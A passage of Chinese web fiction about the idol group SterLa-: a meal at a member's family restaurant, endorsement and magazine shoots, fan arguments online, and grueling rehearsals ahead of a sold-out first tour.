负责开车的是葛文山，他是他们几个人中唯一有驾照的人。今天要去的地方也是他推荐的。 大概四十分钟车程，葛文山转进一个园林。 “这不是景区吗？”禹安疑惑道。景区里能有什么好东西，又贵人又多，实在不适合他们。 “在旁边。”葛文山一边回话一边拐进一个巷子。 青石巷子很干净，地面被磨得光亮，巷内有户人家，但两扇木门紧闭着，着实不像是有饭吃的地方。 葛文山停好车，带着正四处打量的几人熟门熟路地推开门。 门后又是另一番景象。顺着门进去是一条青石板小径，两旁分布着错落有致的绿植。小径后就是几间带着仿古的红木门的房间。 “我们就直接这么进来了？明天不会有人告我们私闯民宅吧？”于立果玩笑道。 “这是私房菜馆。”葛文山带他们径直进了右手边的一间房，房间里壁上挂着书画，角落放着瓷瓶摆件，连桌椅也是电视剧里常见的八仙桌和独脚凳。 “诶，你们要是不在我身边，晃一眼还以为自己穿越了。”禹安半弯着腰，试图从瓷瓶纹路上勾出一些自己深埋脑海的知识点。 “哎呀！你们就是小山的朋友吧！”人未至，声先到。门口进来一个穿着中国风长裙的阿姨，面容带着几分慈祥，“我认识你们，小雨，小果儿，小安，小飞。” “阿姨好！” “好好好~” “妈，可以上菜了！”葛文山有些尴尬的摸摸鼻子，催促着妈妈。 “哎呀你这孩子，妈妈跟你朋友说几句话怎么了嘛。”葛妈妈横葛文山一眼，又笑着对他们说，“咱家外面没店招，全靠熟客介绍。” “但你们要是想吃，随时跟阿姨说，阿姨单独给你们留着空！” “谢谢阿姨~”禹安笑眯眯地道谢。 “哎哟，谢什么呀！”葛妈妈特别喜欢这种笑得甜甜的孩子，连声地说，“坐，你们坐会儿，阿姨这就让后厨给你上菜啊！” “大家都别客气，当自己家就行。” 说完给了葛文山一个眼神，风风火火地出去了。 等阿姨离开，几人这才在厅中的圆桌旁坐下。 “山哥，真没想到你妈妈居然是这么热情的性格。”屁股还没坐稳，葛文山就听到了来自禹安的调侃。 葛文山无奈，从小到大因为和妈妈的性格差异太大不知道被长辈们调侃过多少次，只是面对朋友的调侃还是略显不好意思。 于立果见葛文山窘迫，善意地开启另一个话题，“阿飞，公司那边有说小元儿那边什么情况吗？” “没说太多，但公司那边给小元重新换了个经纪人，之前的那个经纪人很失职，把小元一个人丢在酒店不说，小元给他打电话都打不通。”江翰飞摇摇头，一说起这个就生气，只是今天还没来得及表达什么，公司就先一步处理了那个经纪人，他才什么都没说，“今天开会的时候他穿着皱巴巴的衣服，可能是宿醉。” “换谁了，新换的这个靠谱吗？”吴星雨好奇追问。 “就是给我们当执行经纪人的刘哥。” “他啊？”禹安漫不经心地说，“除了心思细一点，没什么脑子，你们还是提醒一下小元弟弟自己多多注意吧。” 江翰飞和于立果都点点头。接触一年多的他们也知道刘哥除了心思细，人品好以外，工作能力确实一般，大部分时间他都听唐君君甚至欣怡说什么就做什么。 “不过好在他比较负责，肯定不会出现这种把小元弟弟一个人丢在酒店，电话还打不通的事儿。” “小元他们今天是不是那个慈善演出的彩排呀？”吴星雨问道。 “好像是，昨天回来的路上听小元说是一个慈善拍卖活动的演出。” “你怎么也知道？”禹安狐疑地看向吴星雨。 “那当然是看网上知道的。”吴星雨晃晃手机，“顺便刚刚看时元弟弟的时候发现一个up主的视频，很有意思，不知道你们看过没。” “谁的？” 几人好奇地凑过去，葛文山认出来，“这个在我们在我们上一张出道专辑的时候给我们做过MV的Reaction吧？” “不愧是葛老师，我们山哥冲浪速度就是快哈。” “就是他，那个Reaction做得挺专业的，那个视频播放特别高，应该给我们也涨了不少粉。” “我刚刚看看了一点，好像是给我们的二专出的MV解析视频。”吴星雨把手机声音调大，放在几人中间。 点开播放，果然在简单的自我介绍后，up主就开始Re他们的MV：“这次的主打曲叫《唇枪舌剑》，他们的出道专叫《钢铁丛林》，上个MV解析里有说，我认为他们出道专讨论的是现代社会工作压力的问题。” “《唇枪舌剑》也是挺有深意的一个名字，单纯从这个名字猜测，我压一手跟社会舆论相关的主题，但不知道在这个MV里他们会怎么表达。” MV的开场从一个小男孩儿的视角展开，操场上除了他都是在快乐奔跑玩闹的小孩儿，而他像是被单独隔离了似的，没有任何人过来跟他说话，随着铃声响起，正在玩耍的小朋友们向这边聚齐，一个个的经过他，但每一个经过他的人都在叫他，小矮子，臭鱼，傻子 最后一个人经过他把他被撞到在地时，伴奏同时响起管风琴第一个音，镜头一切，摔倒的小男孩儿变成一名摔在地上的少女，少女的周围站了一圈人，有穿着围裙的女人，有穿着西装的男人，穿着同样校服的学生和其他各种常服的人，对着她说女孩子要淑女一点不要野，不要大声说话，不要矫情，不要敏感，女孩儿捂着脸尖叫。 下一个镜头放下手脸又变成了一个男人，周围不断有声音传来，你不够努力，你不够坚强，你能力不行，你年纪太大。 随着伴奏高潮的来临，剪辑的切换速度越来越快，先前的画面开始迅速闪回，每一次闪回画面都裹成一张嘴，化成一支悬浮在空中的利箭。 “这个剪辑表达太帅了太帅了！”Up主点了暂停，兴奋喊到，“类似于走马灯的闪回，快速重新拉一次时间主线。” 视频小窗口的up主显得有些激动，“从开头这十几秒，我刚刚大概预言成功了。他们这次讨论的社会主题是舆论。” “这次和他们的出道专不太一样，上来的主题表达的很明确，唇枪舌剑这个主题已经在这个画面里表达得很明确了。上一张《钢铁丛林》的表达还是更内敛一些。” “咦，这段是不是就是阿飞你跟导演提的设想？”吴星雨转头看向身后的江翰飞，他就记得这家伙拍MV的时候给导演提了个什么建议，导演还挺高兴说他有想法来着。 “嗯嗯！当时突然想到就说了，没想到导演真的采纳了。”江翰飞眸光熠熠，这也算是自己给第二张专辑的贡献了！ 接下来广MV画面一转，一支利箭飞速穿过扭曲的旋涡，与站在房间里的吴星雨对峙着。吴星雨脸上划过一滴泪，在泪水流过脸颊拉近镜头给特写，再拉远的时候悬空对峙的利箭对着江翰飞疾驰而来，在江翰飞快中箭时镜头一黑，下一个镜头却是于立果从床上惊醒，摸摸额头一圈冷汗。 坐在床上的于立果叹口气，朝着卧室窗外看去。 “不要小看这个窗户的构图，这种设计在这里它既是一个通道，但不知道是出口还是入口。”UP主点了暂停，用鼠标在暂停的画面上画着图案讲解。 “很好，是出口。视线跟随是向外的，房间的布局线条也是向外的，这是典型的视线引导布局。” 卧室窗外下面的街道上站着两个人，禹安和葛文山。他们似乎刚刚经历过一场战斗，衣服破损，身上有长枪和利箭划伤的伤口，眼神却还望着窗口的位置，目露坚毅。 “噢噢噢！串起来了！串起来了！”UP主暂停MV之后忽然兴奋，“这里和上一张专辑的概念是相通的。” “嘶——”UP主倒吸一口气，若有所思地感慨，“乐狮娱乐这公司有点东西啊？两张专辑居然是相通的概念，那大概能确认SterLa-的概念肯定和黑夜，梦境，光有关。” “结合出道专和这里的战斗受伤的画面，我再预言一波他们团的核心概念是守护。” “咦这人真挺会猜的啊？”禹安惊讶。虽然导演没说，但是他们可是拿到全部MV剧本的人，剧本中某一个镜头需要表现出什么情感都是需要提沟通好的。再说他们怎么可能不清楚自己团队的概念，只是公司不让他们讲而已，说是要让粉丝有自己抽丝剥茧找到真相的成就感。 “菜来啦——！”爽朗的传菜声从门外传来，葛妈妈让服务员把菜放在门口小推车上自己推进来，一边给端上桌一边笑意盈盈地说，“你们先尝尝菜合不合口味，不合口味的让小山给后厨说，给你们做新的！” 葛文山站起来帮妈妈一起传菜，葛妈妈揽着葛文山笑眯了眼睛：“我们小山呐真是难得带朋友回家，你们可千万别客气啊！” “不会的阿姨，我们可不跟山哥客气的。”于立果也笑眯眯地说。 吴星雨和禹安：“嗯嗯！” 江翰飞在葛文山站起来的时候也一起站起来帮忙传菜，在一边也跟着乖乖点头。 葛妈妈见几个孩子乖乖巧巧的样子稀罕得不行，“啊哟，小飞很会摆桌啊！真乖！” “那你们先吃，我去跟他们说一声别往这边来打搅你们。你们吃好喝好啊！” 说完葛妈妈又风风火火出去了，葛文山招呼道，“大家随意吧，我妈就这个性格别在意。” “说什么呢，阿姨这么好的性格！”禹安半点不客气，边说边夹了一筷子青菜放碗里。 “吃饭前我们先走一个吧。”吴星雨拿酒杯底磕磕桌子，“咱们成为队友都快一年了还没有一起正式聚餐过，今天也一起庆祝了吧！” 禹安很想抬杠，从去年四月定下出道人选大家就住一起了，已经一年多了。但看在吴星雨现在是要庆祝的份儿上勉强忍下。 几人站起来举起酒杯，杯子互相碰撞在一起发出“叮当”的脆响，少许液体激洒出，滴落在桌面上。 “恭喜SterLa-成功出道！” “恭喜SterLa-出道专销量突破10w，音源进入Top 100！！” “恭喜SterLa-拿下年度新人奖。” “恭喜SterLa-二专销量突破43w，音源突破Top 30！！！” “恭喜SterLa-拿下一位！” “干了！” “干！” “咦？怎么是雪碧？！！” “哈哈哈哈，不然真让你喝酒啊？” 第64章 酒足饭饱的几人告别葛妈妈驱车回公司开会，路上阳光正好，他们的心情也跟着飞扬。 车上放着他们的专辑歌曲，虽然一个个都吵着说已经听吐了，但听到的时候没有一个不跟着一起放声高歌的。 江翰飞在回去的车上又尝试了一段Rap，然后被禹安一路嘲笑着回了公司。 他也没多在意，原本在练习生时期他的Rap就是所有科目里最差的，到自己升A级时Rap都还在C级，该做的挣扎在练习生时期早做过了。 会议室，唐君君不废话，见人到齐开门见山，“今天开会的主题只有一个，就是巡演。” 然后好笑地望着下面几张被这个消息炸得懵逼的脸，慢悠悠地等他们回神。 “巡，巡演？”吴星雨最先反应过来，“我们么？” 唐君君神色不变地点点头。 SterLa-几人兴奋对视，无声地激动，他们也能开巡演了！！？ “我们巡演要去哪些地方啊？” “第一站在哪儿啊？” “我们什么时候开始巡演啊？” “已经在准备了吗？” “是全国巡演吗？” “停。”唐君君打断他们七嘴八舌的追问，看着他们兴奋又渴望的眼睛，没训他们，接着说道，“今天来就是跟你们说详情的，先不要提问，听我说完。” “巡演一共8场，首场和末场都在本市，其余六场也已经敲定场地，舞美设计团队已经在着手设计舞台。” “另外巡演开始的时间定在9月中，10月你们的出道周年纪念刚好是巡演的末场。” “” “目前二专打歌全部结束，还剩下两场线下签售，二专相关事宜到那儿就全部结束。6月中旬开始到9月你们的所有行程安排晚点我会让欣怡同步给你们。”说到这儿，唐君君停顿一下，露出个笑，“做好准备吧，会很忙的。” 接着SterLa-几人就见识到了唐君君口中的会很忙是有多忙。 二专剩余的最后两场签售之后，立即给他们安排了新的团体代言，杂志拍摄，周边制作。另外还得兼顾每天的练习，不仅是出道专歌曲的温习，还有巡演新舞台的练习。 距离上次团体代言的青山咖啡已经过去半年，这半年里，尤其是在他们拿到新人奖后邀请他们做产品代言的并不少，只是被唐君君一力压着，连公司老总亲自询问也顶着压力没有接任何代言。 代言一签至少一年，而即使SterLa-用青山咖啡证明了自己的销售能力，品牌方却都当看不见一样，给过来的报价相当低廉。即使新人奖获奖后来邀约的大部分报价涨幅也不如预期。 品牌方们也不是傻子，于他们选代言人看的不仅是当下的热度和销售能力，更要看后续公司为这个团体投入的资源多少以及公司本身对团队的运营能力。在后面两个条件下，同期男团中，明显出身娱乐圈头部公司K家的IUE续航能力和后续资源更值得他们投入。 对于这些看不起SterLa-还要施舍一般给个廉价的代言邀约的品牌方，唐君君宁愿保留SterLa-他们的商业价值，等二专的成绩出来之后再做打算，她对自己团队制作的二专非常有信心。 结果也不出她所料。 新人奖之后，先有江翰飞的合作曲出圈，后有SterLa-的二专销量成绩对比出道专直接翻倍，音源也飞升进入Top 30，成为少有的销量音源两手抓两手硬的男团。而SterLa-二专预售成绩一出，当天就有好几个品牌方直接给她电话，询问SterLa-的档期和报价，其中不乏当初报低价的品牌方。 唐君君和这些品牌方来回拉扯几天，从里面选了三个聊得还不错的品牌方签了一年的代言合同。这时候不是品牌方为了保险只签一年，而是唐君君不愿意与他们签长约了。毕竟SterLa-现在的发展趋势是个明眼人都能看出来：只要SterLa-不中途夭折，以后就是成为天团的苗子。 不然公司也不会花大力气去处理SterLa-的事情，给她配人手，包括巡演也是公司给的资源配置。 这些都是SterLa-他们自己用成绩换来的。 现在SterLa-几人正在棚里拍摄的正是新代言的一个小家电品牌。作为新兴品牌，他们的媒体营销负责人相当有眼光和魄力，代言邀约每次都追着热点艺人跑，尤其是刚刚有一些名声的艺人，选一个爆一个，几乎是以最低的代言价格拿到了最好的曝光资源，投资回报率高得吓人。在他们业内不少品牌方开出天价薪资想挖她去做媒体营销，她顾念东家旧情一直没走，东家也投桃报李，额外给她部分股份分红。 “来来来，眼神再温柔一点，对~”摄影师是品牌方的固定团队，很会引导模特动作和眼神，“想象一下你眼前的是你女朋友，她正在沙发上笑着看你。” 江翰飞拿着手里的吸尘器眼睛茫然一瞬，他没谈过恋爱啊？ 禹安和吴星雨在一旁不道德地憋笑。 摄影师似乎看出点什么，转而说道，“那你就想想，最让你觉得幸福的瞬间。” 这么一说，江翰飞脑海里闪出来的第一个画面是打歌时台下那一双双满含着激动，兴奋又带着沉迷的眼睛。还有昨天他们在一起聚餐时，几个人的酒杯聚在一起，开心地恭喜自己跨过的每一道阶梯；那天跟于哥和时元在小凉亭里分吃一个小蛋糕 江翰飞眼神一变，摄影师手里的相机就没停过，咔嚓咔嚓响个不停，嘴里不停念叨着，“诶对！对对对！很好很好，保持~” 找到感觉后，他们的代言宣传图很快拍完，中场休息一下给SterLa-补补妆，接下来还有一个广告视频要拍。 “你家艺人真不错。”小家电的负责人站在一旁看着他们拍摄，趁着中场休息的空挡跟唐君君夸赞道。 “业内都说您选代言人选一个爆一个，那我就借您吉言了。”唐君君温和笑着回应。 “他们爆不是我的功劳，是他们自己本身优秀，他们的粉丝和你们这群背后运营人员的功劳。”负责人转过来看着唐君君认真地说。 唐君君笑了笑，没再接话。 “待会儿你们从这个门出来，你来收拾东西，你来拿着这个吸尘器跟着污迹的轨迹走。”广告视频导演让江翰飞拿吸尘器，葛文山在他前面帮他收拾东西。 视频构建的使用场景是一帮年轻人聚会搞得屋子一塌糊涂，然后SterLa-用吸尘器进行清洁的小短片。中间穿插着聚会时乱扔包装纸，瓜果皮屑和果汁饮料洒一地的画面；和江翰飞使用时作为氛围组惊叹的其他几人画面。 大概是图片拍摄在前进入了状态，视频拍摄进度非常快，天黑下来时，这边也结束了广告的拍摄。比预期的九点半提前了快两个小时。这让场内的工作人员们立即对SterLa-充满好感，纷纷说回头等他们新专辑发售了一定去买一张支持。 不是所有人都了解偶像团体或者知道偶像团体，但对打工人来说，没什么人能比让他们提前下班的SterLa-更有魅力的了。 连轴转连拍了五天的代言后，随之而来就是杂志和周边。 周边相对轻松，制作团队采用了他们二专反应援的特别礼物创意，准备推出他们的Q版IP，然后和一些玩偶品牌和创意类品牌做联合。还有一些常见的类似行李牌，卡夹，挂坠之类的小周边。 而杂志唐君君相当重视，它算是时尚资源的敲门砖。许多奢侈品牌只看你上杂志的刊物等级和封面待遇，够不上他们的标准根本不会给你任何机会。 这次他们上的就是准一线杂志。 虽然准一线杂志上还有4个一线杂志和3个顶刊，但以他们出道不到一年，在时尚圈内还没有任何姓名的时候，能第一次拍杂志就拿到准一线杂志的封面，已经是他们自己的实绩加公司废了很大力气拿下的资源了。 毕竟哪怕出道好几年的大势男团，他们的师兄Hitting也还没能集齐‘四1三顶’的封面。 同时，杂志的拍摄要求与广告宣传图的拍摄要求相比也不是一个等级。光是摄影师就听说是职业摄影师，是专给这种一线和准一线刊物供稿的摄影师。 但他对江翰飞和葛文山两人的冷脸倒是格外喜欢。 “眼神看右边，想想他曾经攻击过你，但是现在你扼住了他的喉咙。” “不够，眼神再冷一点，再加一点杀气。” “再给他的眼影加一层银色，还不够冷。” “再往右边侧一点，下巴抬起来。” “对对对，很好很好。” 摄影师把自己拍兴奋了，一个劲儿只顾着拍，镜头都快怼到江翰飞的脸上。 幸好江翰飞是偶像团体的成员，平日里台上滑镜头时也经常出现这种情况，他才能按捺住自己保持不动。 “帅哥，回头加个联系方式，或者你们经纪人的也行。”摄影师翻看着手里相机的照片，喜爱之情溢于言表，“下次有机会我们再合作。” 江翰飞正想答应，就见欣怡拿着他的手机从场边跑过来，低声说道，“时元的电话，打了四五个了，很急。” 第65章 “飞哥，你看网上了吗？”时元着急的声音从电话那头传来。 江翰飞满是疑惑，“还没，出什么事了吗？” “就就那天你带我从酒店离开被一些人拍到了，现在还发到了网上。”时元的声音低落下来。 果然还是连累到飞哥了。 “噢，那有什么关系吗？”江翰飞还是没明白。整件事情又不是他们的问题，是那群私生的问题，被发到网上除了引起大家讨论一阵还能怎么样呢？ “飞哥，你要不要登上你的账号看看。”时元声音迟疑，“粉丝们反应挺大的。” “好，我待会儿就看，你别着急，安心做自己的事情。”江翰飞安抚道。应该不是什么很大的问题，如果是什么大问题君君姐他们早就找自己了。 江翰飞一边想着一边打开了自己的小号。他的小号加了粉丝超话，上去转一圈就知道什么情况。 树欲静而风不止，江翰飞这池水想安安静静无波无澜，偏偏有疾风不让他如愿。 事情都已经过了好几天，江翰飞和时元遭遇私生，被围困在某高级酒店的消息突然就在网上蔓延开。 粉丝们怒火中烧，不仅是时元，还有江翰飞的。 江翰飞的粉丝恼火公司连着几次让江翰飞遭遇私生困扰，时元的粉丝则是恼怒那些私生怎么能这么围堵一个未成年？ “私生私生又是私生，这都第几次了，怎么公司还能放私生进去？？？公司的人都是吃*的吗？” “我真服了，能不能不要看江翰飞脾气好就逮着他欺负？行程经常是不发的，公关是总落人一步的，私生是总能突破你们防线的。不知道你们每天都在干什么。” “我真的服了，那个sy能不能离我们远一点？” “我才对你服了，他们两个好朋友，只是去接人被私生堵在了酒店，关他们本人什么事儿？用得着你在这儿挑拨离间？” “私生sqj，警告你们最好就此收手，不然别让我找到你[微笑]” “不是，路人看你们在这儿吵半天了，两个男生一起从酒店出来，能有什么好吵的啊” “楼上你别说这么暧昧，有些人又要磕了。” “你在阴阳谁呢？怎么我们CP粉不是粉吗？每次SterLa-出专辑我们哪次不是端水买两份的？CP粉凭什么被骂啊？” “没说你你这么激动地对号入座干什么？” “这个就是私生本人吧？谁有清晰一点的截图？” “” 江翰飞往下滑了好多条讨论和帖子，虽然超话里都在生气他们遇到私生，但主要都是在讨论，应该问题不大。 转而跟时元发消息，“没事，大家都是在生气我们被私生堵了的事情，没什么事儿，你不要有负担。” 时元那边估计有什么行程，消息发过去没又回应。 一旁的摄影师很有风度地等着，一边反复地翻看其中一些照片，见他处理完了又问，“加个微信呗帅哥，回头把我推给你们经纪人，有合适的机会我会联系她的。” “好的好的，不好意思让您久等了。”江翰飞听他说话才想起自己旁边还站了个人，连连道歉，“刚刚认识的朋友出了点急事需要先处理。” “没事，别忘了哈。”摄影师对自己心仪的模特向来宽容，一点没有面对那些他不想拍的人的不耐烦。 杂志拍完他们也没多留，唐君君代表SterLa-邀请拍摄人员去聚餐，欣怡以他们后续还有行程为由带着他们回公司练习。 车上欣怡还在担心地问，“时元找你没什么事儿吧？” 江翰飞摇摇头，“没事，小元估计就是被吓着了。” 欣怡随即放心地点点头。 她只是担心时元出什么问题，会牵扯到江翰飞。只要和江翰飞无关，其他的也与她无关，自有时元的经纪人会去处理。 但于立果他们不是，于立果听到时元又单独给江翰飞打电话，心里还有点吃醋，怎么小元儿就知道找他飞哥不知道来找一下他于哥呢。终究是担心时元的心占了上风，“小元儿是有什么事儿吗？” “没有，就是我去找他的时候被拍到发在网上了，然后网上大家因为这个事儿讨论得很激烈。”江翰飞小声跟于立果解释。 于立果放下心来，接着突然嘿嘿一乐。 江翰飞有点懵，于哥这是怎么了？怎么莫名其妙地笑起来？ 在一旁闭着眼睛休息的禹安坐起身来接话，“你于哥是在乐时元吧？” 江翰飞皱皱眉：？ 小元给他打电话这不是着急他吗？有什么好乐的。 见江翰飞的神色就知道他完全没get到点的禹安和于立果相视一笑，还是于立果告诉他：“你自己想想，小元怎么会知道你粉丝群内和粉丝超话内的动静儿的？这消息的反应速度怕不是比公司还还快。” “恭喜你，拥有第一个业内同行的小粉丝了。” 听他俩调侃的声音江翰飞哭笑不得。虽然练习生时期时元说了好多次等他出道要给他当小粉丝给他加油，还说到时候他就是元老级的骨灰粉。他一直当小孩子玩笑话的，难不成现在还真潜水到自己粉群和超话去了。 想着又打开粉丝超话刷着，发现里面还在吵，有说公司监管有问题的，说时元拖人下水的，说江翰飞和时元之间有问题的，还有骂私生不做人的 江翰飞蹙蹙眉，这样的氛围好像的确不太好，粉丝们进来应该也不会高兴的吧？ 思索一阵，江翰飞登上了自己的大号。 很快粉丝群和粉丝超话就出现了他的在线提醒。 “停停停，宝宝上线了！停战！” “宝宝！阿飞！我崽！” “江翰飞你总算想起你的密码了是吧！” “阿飞快给你的亲亲女友看看你现在的照片~” “” 江翰飞才是她们的主旋律，他一上线，粉丝群和超话内的带着火药味儿的讨论终于沉底，只剩下粉丝激动地发帖，表达自己的喜欢和想念。 显示江翰飞正在空降的提示一直挂在超话里，粉丝们知道他在看，帖子刷得飞快。 江翰飞看到能回复的，偶尔也会回复。但是帖子刷新太快了，有的他还来不及点开就被新帖子顶下去了。 直到到达公司，他们一行人下车后直奔练习室，在放下手机进入练习时间的前一秒，江翰飞总算发出一条博文，是一张拍葛文山家里菜馆檐下吊灯的照片。 他选了好半天，但最近几天他们实在是行程太忙，也没有拍到什么好看的图片。 拍代言和杂志期间，每天都是早上五六点起在公司做个基础的护肤造型，然后去品牌方的场地拍摄，一拍就是一整天，拍摄间隙他们的手机都是给欣怡或者唐君君拿着的，等他们拍完就跟今天一样直接坐车回公司开始排练巡演的舞蹈。 放下手机，编舞师和其他成员已经最好准备。 “我们把完整的开场舞蹈先走一遍试试。”编舞师站在镜子前。为了这次巡演效果，他们专门配合制作人部门重新编曲的歌曲串烧和舞美团队设计的巡演舞台改了舞蹈动线，也在每首歌曲衔接的地方重新做了编舞。 前两天是编舞师刚教他们新编的开场舞，今天正好让他们完整跳一遍看看效果。 几人也不啰嗦，站好队形，听着吴星雨数的拍子开始跳舞。 开场舞是给二专主打《唇枪舌剑》加了一段导入配合团体舞蹈，用来热场。随后就是五首歌曲的串烧，加上音乐衔接和保留的副歌部分，总共接近十五分钟。 这对他们的体力来说是个不小的挑战。一般一首歌曲也就三分钟多，哪怕是打歌连续录制好几场，中间也是有休息时间给恢复体力的。 “呼呼~”到最后歌曲串烧结束，几人呼呼喘着粗气。 葛文山捂着胃，艰难地匀气。 他之前为了减肥节食太过，胃一直不好。而刚刚他们为了赶时间，在车上吃的三明治当晚餐，接着就开始跳舞做剧烈运动，他的胃在舞蹈中途就开始抗议。 江翰飞喘着气瞥见葛文山满头的汗还紧闭着眼睛和嘴唇，靠过去，“山哥，还好吗？” 葛文山睁开眼睛，几颗黑点在眼前飘来飘去，又闭眼调理一会儿才恢复，摇摇头，“没事儿，我匀会儿就行。” 江翰飞仔细观察一会儿，见葛文山神色开始恢复正常才放下心。 连着高强度地跳快15分钟，确实过于消耗体力。 “你们的体力是大问题，巡演的时候跳完没力气可不行。”编舞师也皱眉，巡演还有接近三个月，不知道他们能不能把体能练上来。 “你们再练习几次找找感觉，如果实在坚持不下来，早点跟我们说，我们这边再讨论下要不要改动作。” “但现在这样是最好的表现方式吧？”吴星雨抹掉脑门上的一圈汗问到，“我们听君君姐说你们为了这个串烧和开场的编舞改了好几版，这是最好的一个版本。” 编舞师的眉头一直没松开，确实，这是效果最好的版本，他也不想改，“但是你们跳不下来，那我们的编舞再好也没有意义。” “那是我们的问题。”禹安从地上爬起来，刚刚他跳完体力耗尽直接躺倒，“我们会解决的。” “对吧？” “对。”葛文山恢复过来，冷静点头。 于立果没说话，也点点头。 “如果是担心我们最后练不好影响舞台效果。”江翰飞抿抿唇说，“您可以说一个时间，我们在这个时间之前争取把我们的体能练上来。” 编舞师看着眼前几人坚定的眼神，给公司好几个男团都编过舞的他似乎有点明白，为什么只有这个男团能在出道还不满一年的时间就开巡演了。 “那就两周吧，两周内如果你们还不能适应的话，我会跟我的团队商量把编舞再简化一些。”想了想，又说到，“放心，我们会尽量保留亮点部分。” 听他这么说，明知这段时间加上体能提升会更辛苦的几人却满足地笑了。 作为爱豆，不追求舞台效果，还追求什么？ “好！我们休息三分钟继续，中间可以穿插着复习巡演歌曲走位来恢复体力。”吴星雨作为主舞和队长，快速地定下今晚的练习节奏。 直到12点，编舞师实在熬不住，先回去休息，他们还在练习室练习。 “呼，真有一种回到了还没出道时候的感觉。”禹安整个人像是刚从水里捞上来似的，整个人被汗浸湿，头发一绺一绺地贴在额头上。 葛文山状态更差，嘴唇泛起白。 “山哥，你还好吗？”江翰飞双手撑着膝盖，汗水顺着额发滴落在地板上。 葛文山无声摇头。 吴星雨是他们中体能最好的，看看大家状态几乎都到极限了，拍拍手，“今天我们就到这儿吧。” “再练效果也不太好，明天开始我们每天加半个小时的体能训练，在外面有时间我们就多练习一下舞蹈，把晚上的时间匀出来。” “没问题吧？” 剩下四人已经不想说话，都一起摇摇头作为回应。 脑袋练得有些发晕的江翰非很累，却心生感慨，‘距离这样练习到力竭才算的时光，居然已经过去一年多了。’ 莫名的有些让人怀念。 第66章 从这天开始，SterLa-进入了欣怡看了直皱眉的见缝插针式练习。 在等化妆师的时候跳，在拍摄中场休息跳，甚至在车库等司机开车过来的几分钟也要走一遍舞蹈走位。 只有在车上往各处奔波时才会安心休息会儿。 欣怡虽然心疼，但也没有办法帮到他们什么，只得给他们在车上备好耳塞、眼罩和抱枕，熏香都换成了安神类，提前也跟公司的司机沟通好，上车之后不要跟他们闲聊，也尽可能地不要说话，把车开稳一点。只希望能让他们在车上时能休息得好一些。 甚至有好几次在拍摄棚内，等对方调整光和角度的时间间隙里，被工作人员看见几人聚在角落里一起练习走位。还因此有杂志方找过唐君君，暗示她也不要把艺人逼得太紧，搞得唐君君哭笑不得，但她从头到尾一句话也没多说。 每年都有不少偶像男团出道。哪怕每个月只按照3个团出道来算，一年也有接近四十个新团出道，数量每年累计。 他们不努力怎么在这样的市场竞争中出头？ 如果连必须努力的觉悟都没有，迟早会在短暂成绩带来的沾沾自喜中自取灭亡。 粉丝脱粉的时候，大部分人都走得悄无声息。谁也不知道当潮水退去，谁会成为那尾在沙滩上搁浅最后渴水而死的鱼。 因此当欣怡也期期艾艾地跟她说，是不是能再计划一下SterLa-的行程时，她把欣怡骂哭了。 这是她第二次骂哭她，第一次是她跟SterLa-在演播厅的走廊说别家团体的八卦。 她不想也不会允许任何人来阻止SterLa-这棵树的成长，哪怕有一天自己的存在影响到他们的成长，她宁愿把自己砍掉也会保证他们的阳光不被遮挡。 唐君君近乎冷酷地想。 幸好，SterLa-这棵树也很努力地在进行光合作用合成自己需要的养分，争取让自己长得更高更壮实更枝繁叶茂。 在距离巡演还有两周倒计时的时候，他们体能总算有明显的增长，能够保证他们在跳完开场舞和串烧后还能正常进行后续流程。 而从明天开始，他们会开始在首场巡演会场的练习。 尽管他们足够努力，但也毕竟是第一次开演唱会就开了巡演。为了保证中途不出岔子，公司特地多租了半个月的场地用来给他们适应演唱会。 这是真的大手笔，半个月的场地可不便宜，每天租金以万为单位计算，听说还是老板直接特批的资金。 在他们进入会场练习的同天，正好是他们首场巡演的开票日期。 开票的时候公司也忐忑。 场馆是三万人的馆，按照SterLa-二专销售情况来看售罄应该没什么问题，但要是开票后售票速度太难看，怕是会有不少竞争对手趁机发黑通告拉踩他们。 中午十二点准点开票，市场部负责SterLa-的职员们聚在电脑前和无数粉丝一起看着倒计时，“快了快了，倒计时 5 4 3 2 1！” 坐在电脑前的职员咽口唾沫，抖着手点击一键刷新页面。 “啊啊啊啊我要疯了，怎么会有人叫了七大姑八大姨十几个亲戚一起抢票还没抢到的啊啊啊啊！” “不是，我们SterLa-不就是一个出道还不到一年的小小男团吗？哪有这么火啊？[哭]” “是谁，谁抢到了这一秒售罄的速度真的有人能抢到吗？” “我刚点进去页面就没了。[大哭]” “1688的VIP也秒光，姐姐们平时不显山不露水，都这么有实力吗？” “你切记，你SterLa-可是专辑卖了40多万的团都是些实力姐和实力哥” "求票，有没有哪位好心人赏我一张票啊，孩子真想去，可以H价。" “” 乐狮娱乐办公室内同时爆发出一阵欢呼：“秒切！秒切！！” 桌上电脑页面已刷新，七个位置全部显示灰色已售罄的字样。 市场部负责其他团或者事务的职员们也凑过来，满眼羡慕地看着他们几个大老爷们儿跳起来相互击掌庆祝。 奖金又稳了啊，能分到去负责SterLa-真好啊，专辑，门票，杂志，代言，周边都不用愁卖不出去。 唐君君人在演出会场，收到售票秒切的消息微微一笑。 今天是SterLa-第一次来演出会场进行适应性练习，她当然得过来看着。一边拿着手机远程跟进着演唱会相关事务进度，一边时不时抬眼看看远处在舞台上练习的几人。 老实说，至于巡演门票的售卖情况，她从没担心过。两次专辑都能买断货，代言和杂志售卖情况直接刷新近两年出道男团销售记录的粉丝群体，消费实力用得着担心？ 公司老板能愿意花钱给他们开巡演，还额外租用半个月的场地让他们适应，当然也是经过市场调查后，确定能赚钱，他们目前粉丝的消费能力以及后期的消费潜力才会做这样的巡演策划案。 台上的SterLa-还不知道今天演唱会门票开票秒切的事。 越临近开场时间，他们的训练日程越紧张。 除了化妆师提前试妆，试服装，基本上一天大多数时间都泡在练习室里训练。尤其是在他们拍完巡演场周之后，没有了任何需要外出的行程安排，直接变成了练习室和宿舍两点一线。 巨大的消耗和运动量让几人的身体迅速消瘦下来，但不是干柴一般的瘦弱，而是带有肌肉的精瘦。 让服装师念叨他们好几次，之前定好尺寸的衣服，有的人腰围又宽松了接近一个码，不得不又加班给他们收尺寸。 “在台上和在练习室感觉就是不一样。”吴星雨捞起欣怡递过来地毛巾擦擦汗，他们刚刚跳完一次开场+串烧，额头都是汗。 “舞台没练习室那么容易累。”禹安小口小口补充水分。对比他第一次在练习室跳完就直接躺倒，现在的他已经能控制住自己的呼吸频率了。 站在一旁的江翰飞缓着气息。他也明显感受到自己体能增长带来的变化。至少这次跳完，他稍微缓一下就能正常说话，维持好自己的呼吸频率。 